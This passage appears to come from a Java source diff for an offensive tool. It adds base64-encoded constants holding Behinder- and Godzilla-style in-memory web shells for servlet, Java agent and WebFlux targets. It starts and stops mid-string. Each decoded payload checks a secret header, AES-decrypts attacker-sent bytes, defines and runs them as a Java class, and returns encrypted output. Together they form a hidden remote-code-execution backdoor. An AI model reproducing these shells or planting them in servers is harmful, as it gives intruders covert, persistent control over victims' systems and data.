VtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsKCQkJCQkJQ2xhc3MgIGV2aWxjbGFzcyAgICAgID0gKENsYXNzKSBtZXRob2QuaW52b2tlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCksIG5ldyBPYmplY3RbXXtldmlsY2xhc3NfYnl0ZSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZXZpbGNsYXNzX2J5dGUubGVuZ3RoKX0pOwoJCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOwoJCQkJCX0KCQkJCX0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0="; + + public static String BEHINDER_SHELL_OBSCURE = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQl0cnkgewoJCQkJT2JqZWN0IHZhbHVlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtIRUFERVJfS0VZfSk7CgkJCQlpZiAodmFsdWUgIT0gbnVsbCAmJiB2YWx1ZS50b1N0cmluZygpLmNvbnRhaW5zKEhFQURFUl9WQUxVRSkpIHsKCQkJCQlPYmplY3QgbWV0aG9kID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldE1ldGhvZCIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChtZXRob2QgIT0gbnVsbCAmJiBtZXRob2QudG9TdHJpbmcoKS5lcXVhbHMoIlBPU1QiKSkgewoJCQkJCQlqYXZhLnV0aWwuSGFzaE1hcCBwYWdlQ29udGV4dCA9IG5ldyBqYXZhLnV0aWwuSGFzaE1hcCgpOwoJCQkJCQlPYmplY3QgICAgICAgICAgICBzZXNzaW9uICAgICA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIHJlcSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVzcG9uc2UiLCByZXNwKTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7CgkJCQkJCWphdmEubGFuZy5TdHJpbmdCdWlsZGVyIHBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIoZ2V0TWV0aG9kQW5kSW52b2tlKGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRSZWFkZXIiLCBudWxsLCBudWxsKSwgInJlYWRMaW5lIiwgbnVsbCwgbnVsbCkudG9TdHJpbmcoKSk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlieXRlW10gZXZpbGNsYXNzX2J5dGUgPSBjLmRvRmluYWwoYmFzZTY0RGVjb2RlKHBheWxvYWQudG9TdHJpbmcoKSkpOwoJCQkJCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlICAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCQkJQ2xhc3MgZXZpbGNsYXNzID11bnNhZmUuZGVmaW5lQW5vbnltb3VzQ2xhc3MoT2JqZWN0LmNsYXNzLCBldmlsY2xhc3NfYnl0ZSwgbnVsbCk7CgkJCQkJCWV2aWxjbGFzcy5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CgkJCQkJfQoJCQkJfQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQl9CgkJfQ=="; + + public static String BEHINDER_SHELL_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiAgICAgICAgIHNlc3Npb24gICAgID0gcmVxdWVzdC5nZXRTZXNzaW9uKCk7CgkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGF0aFBhdHRlcm4gPSAiJXMiOwoJCWlmIChyZXF1ZXN0LmdldFJlcXVlc3RVUkkoKS5jb250YWlucyhwYXRoUGF0dGVybikpIHsKCQkJamF2YS51dGlsLk1hcCBvYmogPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQkJb2JqLnB1dCgicmVxdWVzdCIsIHJlcXVlc3QpOwoJCQlvYmoucHV0KCJyZXNwb25zZSIsIHJlc3BvbnNlKTsKCQkJb2JqLnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOwoJCQlDbGFzc0xvYWRlciBsb2FkZXIgPSB0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKTsKCQkJaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikgJiYgcmVxdWVzdC5nZXRIZWFkZXIoIiVzIikuZXF1YWxzKCIlcyIpKSB7CgkJCQl0cnkgewoJCQkJCVN0cmluZyBrID0gIiVzIjsKCQkJCQlzZXNzaW9uLnB1dFZhbHVlKCJ1Iiwgayk7CgkJCQkJamF2YS5sYW5nLkNsYXNzTG9hZGVyIHN5c3RlbUxvYWRlciA9IGphdmEubGFuZy5DbGFzc0xvYWRlci5nZXRTeXN0ZW1DbGFzc0xvYWRlcigpOwoJCQkJCUNsYXNzICAgICAgICAgICAgICAgICBjaXBoZXJDbHMgICAgPSBzeXN0ZW1Mb2FkZXIubG9hZENsYXNzKCJqYXZheC5jcnlwdG8uQ2lwaGVyIik7CgkJCQkJT2JqZWN0ICAgICAgICAgICAgICAgIGMgICAgICAgICAgICA9IGNpcGhlckNscy5nZXREZWNsYXJlZE1ldGhvZCgiZ2V0SW5zdGFuY2UiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoKGphdmEubGFuZy5PYmplY3QpIGNpcGhlckNscywgbmV3IE9iamVjdFtdeyJBRVMifSk7CgkJCQkJT2JqZWN0ICAgICAgICAgICAgICAgIGtleU9iaiAgICAgICA9IHN5c3RlbUxvYWRlci5sb2FkQ2xhc3MoImphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMiKS5nZXREZWNsYXJlZENvbnN0cnVjdG9yKG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzcywgU3RyaW5nLmNsYXNzfSkubmV3SW5zdGFuY2UobmV3IE9iamVjdFtde2suZ2V0Qnl0ZXMoKSwgIkFFUyJ9KTsKCQkJCQk7CgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGluaXRNZXRob2QgPSBjaXBoZXJDbHMuZ2V0RGVjbGFyZWRNZXRob2QoImluaXQiLCBuZXcgQ2xhc3NbXXtpbnQuY2xhc3MsIHN5c3RlbUxvYWRlci5sb2FkQ2xhc3MoImphdmEuc2VjdXJpdHkuS2V5Iil9KTsKCQkJCQlpbml0TWV0aG9kLmludm9rZShjLCBuZXcgT2JqZWN0W117bmV3IEludGVnZXIoMiksIGtleU9ian0pOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCAgICAgIGRvRmluYWxNZXRob2QgPSBjaXBoZXJDbHMuZ2V0RGVjbGFyZWRNZXRob2QoImRvRmluYWwiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KTsKCQkJCQlqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBib3MgICAgICAgICAgID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJCQkJYnl0ZVtdICAgICAgICAgICAgICAgICAgICAgICAgYnVmICAgICAgICAgICA9IG5ldyBieXRlWzUxMl07CgkJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgbGVuZ3RoICAgICAgICA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKS5yZWFkKGJ1Zik7CgkJCQkJd2hpbGUgKGxlbmd0aCA+IDApIHsKCQkJCQkJYm9zLndyaXRlKGJ1ZiwgMCwgbGVuZ3RoKTsKCQkJCQkJbGVuZ3RoID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpLnJlYWQoYnVmKTsKCQkJCQl9CgkJCQkJYnl0ZVtdIHJlcXVlc3RCb2R5ID0gYm9zLnRvQnl0ZUFycmF5KCk7CgkJCQkJdHJ5IHsKCQkJCQkJQ2xhc3MgIEJhc2U2NCAgPSBsb2FkZXIubG9hZENsYXNzKCJzdW4ubWlzYy5CQVNFNjREZWNvZGVyIik7CgkJCQkJCU9iamVjdCBEZWNvZGVyID0gQmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQkJCXJlcXVlc3RCb2R5ID0gKGJ5dGVbXSkgRGVjb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZGVjb2RlQnVmZmVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtuZXcgU3RyaW5nKHJlcXVlc3RCb2R5KX0pOwoJCQkJCX0gY2F0Y2ggKFRocm93YWJsZSBleCkgewoJCQkJCQlDbGFzcyAgQmFzZTY0ICA9IGxvYWRlci5sb2FkQ2xhc3MoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJCQkJT2JqZWN0IERlY29kZXIgPSBCYXNlNjQuZ2V0RGVjbGFyZWRNZXRob2QoImdldERlY29kZXIiLCBuZXcgQ2xhc3NbMF0pLmludm9rZShudWxsLCBuZXcgT2JqZWN0WzBdKTsKCQkJCQkJcmVxdWVzdEJvZHkgPSAoYnl0ZVtdKSBEZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoRGVjb2RlciwgbmV3IE9iamVjdFtde25ldyBTdHJpbmcocmVxdWVzdEJvZHkpfSk7CgkJCQkJfQoJCQkJCWJ5dGVbXSAgICAgICAgICAgICAgICAgICBidWYgICAgICAgICAgPSAoYnl0ZVtdKSBkb0ZpbmFsTWV0aG9kLmludm9rZShjLCBuZXcgT2JqZWN0W117cmVxdWVzdEJvZHl9KTsKCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmaW5lTWV0aG9kID0gamF2YS5sYW5nLkNsYXNzTG9hZGVyLmNsYXNzLmdldERlY2xhcmVkTWV0aG9kKCJkZWZpbmVDbGFzcyIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzcywgamF2YS5uaW8uQnl0ZUJ1ZmZlci5jbGFzcywgamF2YS5zZWN1cml0eS5Qcm90ZWN0aW9uRG9tYWluLmNsYXNzfSk7CgkJCQkJZGVmaW5lTWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuQ29uc3RydWN0b3IgY29uc3RydWN0b3IgPSBqYXZhLnNlY3VyaXR5LlNlY3VyZUNsYXNzTG9hZGVyLmNsYXNzLmdldERlY2xhcmVkQ29uc3RydWN0b3IobmV3IENsYXNzW117amF2YS5sYW5nLkNsYXNzTG9hZGVyLmNsYXNzfSk7CgkJCQkJY29uc3RydWN0b3Iuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQlqYXZhLmxhbmcuQ2xhc3NMb2FkZXIgY2wgPSAoamF2YS5sYW5nLkNsYXNzTG9hZGVyKSBjb25zdHJ1Y3Rvci5uZXdJbnN0YW5jZShuZXcgT2JqZWN0W117bG9hZGVyfSk7CgkJCQkJamF2YS5sYW5nLkNsYXNzICAgICAgIGMgID0gKGphdmEubGFuZy5DbGFzcykgZGVmaW5lTWV0aG9kLmludm9rZSgoamF2YS5sYW5nLk9iamVjdCkgY2wsIG5ldyBPYmplY3RbXXtudWxsLCBqYXZhLm5pby5CeXRlQnVmZmVyLndyYXAoYnVmKSwgbnVsbH0pOwoJCQkJCWMubmV3SW5zdGFuY2UoKS5lcXVhbHMob2JqKTsKCQkJCX0gY2F0Y2ggKGphdmEubGFuZy5FeGNlcHRpb24gZSkgewoJCQkJCWUucHJpbnRTdGFja1RyYWNlKCk7CgkJCQl9IGNhdGNoIChqYXZhLmxhbmcuRXJyb3IgZXJyb3IpIHsKCQkJCQllcnJvci5wcmludFN0YWNrVHJhY2UoKTsKCQkJCX0KCQkJCXJldHVybjsKCQkJfQoJCX0="; + + public static String GODZILLA_SHELL = "ewoJCQl0cnkgewoJCQkJT2JqZWN0IHJlcSAgPSAkMTsKCQkJCU9iamVjdCByZXNwID0gJDI7CgkJCQlPYmplY3QgdmFsdWUgPSBnZXRNZXRob2RBbmRJbnZva2UocmVxLCAiZ2V0SGVhZGVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde0hFQURFUl9LRVl9KTsKCQkJCWlmICh2YWx1ZSAhPSBudWxsICYmIHZhbHVlLnRvU3RyaW5nKCkuY29udGFpbnMoSEVBREVSX1ZBTFVFKSkgewoJCQkJCVN0cmluZyBwYXNzID0gUEFTUzsKCQkJCQlTdHJpbmcgbWQ1ICA9IG1kNShwYXNzICsgeGMpOwoJCQkJCWJ5dGVbXSBkYXRhID0gYmFzZTY0RGVjb2RlKGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRQYXJhbWV0ZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117cGFzc30pLnRvU3RyaW5nKCkpOwoJCQkJCWRhdGEgPSB4KGRhdGEsIGZhbHNlKTsKCQkJCQlpZiAocGF5bG9hZCA9PSBudWxsKSB7CgkJCQkJCWphdmEubmV0LlVSTENsYXNzTG9hZGVyICB1cmxDbGFzc0xvYWRlciA9IG5ldyBqYXZhLm5ldC5VUkxDbGFzc0xvYWRlcihuZXcgamF2YS5uZXQuVVJMWzBdLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGRlZk1ldGhvZCAgICAgID0gQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJCQlkZWZNZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJcGF5bG9hZCA9IChDbGFzcykgZGVmTWV0aG9kLmludm9rZSh1cmxDbGFzc0xvYWRlciwgbmV3IE9iamVjdFtde2RhdGEsIEludGVnZXIudmFsdWVPZigwKSwgSW50ZWdlci52YWx1ZU9mKGRhdGEubGVuZ3RoKX0pOwoJCQkJCX0gZWxzZSB7CgkJCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSBwYXlsb2FkLm5ld0luc3RhbmNlKCk7CgkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIHdyaXRlciA9IGdldE1ldGhvZEFuZEludm9rZShyZXNwLCAiZ2V0V3JpdGVyIiwgbnVsbCwgbnVsbCk7CgkJCQkJCWYuZXF1YWxzKGFyck91dCk7CgkJCQkJCWYuZXF1YWxzKGRhdGEpOwoJCQkJCQlmLmVxdWFscyhyZXEpOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAid3JpdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117bWQ1LnN1YnN0cmluZygwLCAxNil9KTsKCQkJCQkJZi50b1N0cmluZygpOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAid3JpdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117YmFzZTY0RW5jb2RlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKX0pOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAid3JpdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117bWQ1LnN1YnN0cmluZygxNil9KTsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgImZsdXNoIiwgbnVsbCwgbnVsbCk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZSh3cml0ZXIsICJjbG9zZSIsIG51bGwsIG51bGwpOwoJCQkJCX0KCQkJCX0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0="; + + public static String GODZILLA_SHELL_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCUNsYXNzTG9hZGVyICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlciAgICAgID0gdGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCk7CgkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGF0aFBhdHRlcm4gPSAiJXMiOwoKCQlpZiAocmVxdWVzdC5nZXRSZXF1ZXN0VVJJKCkuY29udGFpbnMocGF0aFBhdHRlcm4pKSB7CgkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiJXMiKS5lcXVhbHMoIiVzIikpIHsKCQkJCXRyeSB7CgkJCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgIHBhc3MgICAgPSAiJXMiOwoJCQkJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICBrZXkgICAgID0gIiVzIjsKCQkJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgcGFzc1N0ciA9IHBhc3MgKyBrZXk7CgkJCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXNzaW9uIHNlc3Npb24gPSByZXF1ZXN0LmdldFNlc3Npb24oKTsKCQkJCQlTeXN0ZW0ub3V0LnByaW50bG4oc2Vzc2lvbik7CgoJCQkJCWphdmEuc2VjdXJpdHkuTWVzc2FnZURpZ2VzdCBtID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTsKCQkJCQltLnVwZGF0ZShwYXNzU3RyLmdldEJ5dGVzKCksIDAsIHBhc3NTdHIubGVuZ3RoKCkpOwoJCQkJCVN0cmluZyBtZDUgPSBuZXcgamF2YS5tYXRoLkJpZ0ludGVnZXIoMSwgbS5kaWdlc3QoKSkudG9TdHJpbmcoMTYpLnRvVXBwZXJDYXNlKCk7CgoJCQkJCVN0cmluZyBicyA9IHJlcXVlc3QuZ2V0UGFyYW1ldGVyKHBhc3MpOwoKCQkJCQlDbGFzcyAgYmFzZTY0OwoJCQkJCWJ5dGVbXSB2YWx1ZSA9IG51bGw7CgkJCQkJdHJ5IHsKCQkJCQkJYmFzZTY0ID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOwoJCQkJCQlPYmplY3QgZGVjb2RlciA9IGJhc2U2NC5nZXREZWNsYXJlZE1ldGhvZCgiZ2V0RGVjb2RlciIsIG5ldyBDbGFzc1tde251bGx9KS5pbnZva2UobnVsbCwgbmV3IE9iamVjdFtde251bGx9KTsKCQkJCQkJdmFsdWUgPSAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoZGVjb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQkJdHJ5IHsKCQkJCQkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKCQkJCQkJCU9iamVjdCBkZWNvZGVyID0gYmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQkJCQl2YWx1ZSA9IChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30pLmludm9rZShkZWNvZGVyLCBuZXcgT2JqZWN0W117YnN9KTsKCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUyKSB7CgkJCQkJCX0KCQkJCQl9CgoJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrZXkuZ2V0Qnl0ZXMoKSwgIkFFUyIpKTsKCQkJCQl2YWx1ZSA9IGMuZG9GaW5hbCh2YWx1ZSk7CgoJCQkJCWlmIChzZXNzaW9uLmdldEF0dHJpYnV0ZSgiZ3oiKSA9PSBudWxsKSB7CgkJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBkZWZpbmVNZXRob2QgPSBqYXZhLmxhbmcuQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBqYXZhLm5pby5CeXRlQnVmZmVyLmNsYXNzLCBqYXZhLnNlY3VyaXR5LlByb3RlY3Rpb25Eb21haW4uY2xhc3N9KTsKCQkJCQkJZGVmaW5lTWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkNvbnN0cnVjdG9yIGNvbnN0cnVjdG9yID0gamF2YS5zZWN1cml0eS5TZWN1cmVDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZENvbnN0cnVjdG9yKG5ldyBDbGFzc1tde2phdmEubGFuZy5DbGFzc0xvYWRlci5jbGFzc30pOwoJCQkJCQljb25zdHJ1Y3Rvci5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQlqYXZhLmxhbmcuQ2xhc3NMb2FkZXIgY2wgICAgPSAoamF2YS5sYW5nLkNsYXNzTG9hZGVyKSBjb25zdHJ1Y3Rvci5uZXdJbnN0YW5jZShuZXcgT2JqZWN0W117bG9hZGVyfSk7CgkJCQkJCWphdmEubGFuZy5DbGFzcyAgICAgICBjbGF6eiA9IChqYXZhLmxhbmcuQ2xhc3MpIGRlZmluZU1ldGhvZC5pbnZva2UoKGphdmEubGFuZy5PYmplY3QpIGNsLCBuZXcgT2JqZWN0W117bnVsbCwgamF2YS5uaW8uQnl0ZUJ1ZmZlci53cmFwKHZhbHVlKSwgbnVsbH0pOwoJCQkJCQlzZXNzaW9uLnNldEF0dHJpYnV0ZSgiZ3oiLCBjbGF6eik7CgkJCQkJfSBlbHNlIHsKCQkJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0ID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIGYgICAgICA9ICgoQ2xhc3MpIHNlc3Npb24uZ2V0QXR0cmlidXRlKCJneiIpKS5uZXdJbnN0YW5jZSgpOwoKCQkJCQkJZi5lcXVhbHMoYXJyT3V0KTsKCQkJCQkJZi5lcXVhbHModmFsdWUpOwoJCQkJCQlmLmVxdWFscyhyZXF1ZXN0KTsKCgkJCQkJCWphdmEuaW8uUHJpbnRXcml0ZXIgd3JpdGVyID0gcmVzcG9uc2UuZ2V0V3JpdGVyKCk7CgkJCQkJCXdyaXRlci53cml0ZShtZDUuc3Vic3RyaW5nKDAsIDE2KSk7CgkJCQkJCWYudG9TdHJpbmcoKTsKCgkJCQkJCWMuaW5pdCgxLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrZXkuZ2V0Qnl0ZXMoKSwgIkFFUyIpKTsKCQkJCQkJdmFsdWUgPSBjLmRvRmluYWwoYXJyT3V0LnRvQnl0ZUFycmF5KCkpOwoKCQkJCQkJQ2xhc3MgIGJhc2U2NDI7CgkJCQkJCVN0cmluZyByZXN1bHQgPSBudWxsOwoJCQkJCQl0cnkgewoJCQkJCQkJYmFzZTY0MiA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJCQkJCU9iamVjdCBFbmNvZGVyID0gYmFzZTY0Mi5nZXRNZXRob2QoImdldEVuY29kZXIiLCBuZXcgQ2xhc3NbXXtudWxsfSkuaW52b2tlKG51bGwsIG5ldyBPYmplY3RbXXtudWxsfSk7CgkJCQkJCQlyZXN1bHQgPSAoU3RyaW5nKSBFbmNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJlbmNvZGVUb1N0cmluZyIsIG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzc30pLmludm9rZShFbmNvZGVyLCBuZXcgT2JqZWN0W117dmFsdWV9KTsKCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQkJCXRyeSB7CgkJCQkJCQkJYmFzZTY0MiA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NEVuY29kZXIiKTsKCQkJCQkJCQlPYmplY3QgRW5jb2RlciA9IGJhc2U2NDIubmV3SW5zdGFuY2UoKTsKCQkJCQkJCQlyZXN1bHQgPSAoU3RyaW5nKSBFbmNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJlbmNvZGUiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtde3ZhbHVlfSk7CgkJCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCQkJfQoJCQkJCQl9CgoJCQkJCQl3cml0ZXIud3JpdGUocmVzdWx0KTsKCQkJCQkJd3JpdGVyLndyaXRlKG1kNS5zdWJzdHJpbmcoMTYpKTsKCQkJCQkJd3JpdGVyLmZsdXNoKCk7CgkJCQkJCXdyaXRlci5jbG9zZSgpOwoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCQlyZXR1cm47CgkJCX0KCQl9"; + + public static String GODZILLA_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIG9yZy5zcHJpbmdmcmFtZXdvcmsudXRpbC5NdWx0aVZhbHVlTWFwIHZhbHVlTWFwID0gJDI7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXNzICAgICA9IFBBU1M7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtZDUgICAgICA9IG1kNShwYXNzICsgeGMpOwogICAgU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzc1N0ciAgPSB2YWx1ZU1hcC5nZXRGaXJzdChwYXNzKS50b1N0cmluZygpOwogICAgdHJ5IHsKCSAgICBieXRlW10gZGF0YSA9IHgoYmFzZTY0RGVjb2RlKHBhc3NTdHIpLCBmYWxzZSk7CgkgICAgaWYgKHN0b3JlLmdldCgicGF5bG9hZCIpID09IG51bGwpIHsKCQkgICAgamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIgIHVybENsYXNzTG9hZGVyID0gbmV3IGphdmEubmV0LlVSTENsYXNzTG9hZGVyKG5ldyBqYXZhLm5ldC5VUkxbMF0sIFRocmVhZC5jdX